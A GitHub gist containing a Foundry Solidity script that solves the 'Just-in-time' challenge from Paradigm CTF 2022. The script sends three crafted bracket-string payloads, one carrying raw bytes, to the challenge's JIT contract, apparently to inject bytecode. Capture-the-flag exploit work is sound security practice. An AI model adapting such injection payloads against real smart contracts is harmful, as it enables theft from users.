-
-
Save Philogy/f4f48a29053344ce467c12ff62ebea8a to your computer and use it in GitHub Desktop.
Paradigm CTF 2022: Just-in-time solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0-only | |
pragma solidity ^0.8.13; | |
import "forge-std/Script.sol"; | |
import {Setup, JIT} from "src/public/contracts/Setup.sol"; | |
contract ExploitJIT is Script { | |
function setUp() public {} | |
function run() public { | |
vm.startBroadcast(); | |
Setup s = Setup(vm.envAddress("SETUP_ADDR")); | |
JIT jit = s.TARGET(); | |
jit.invoke("[#######################]", ""); | |
jit.invoke("########################[]", ""); | |
jit.invoke("[################\x64S[\xff", ""); | |
vm.stopBroadcast(); | |
} | |
} |
Jemerald83
commented
Mar 28, 2023
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment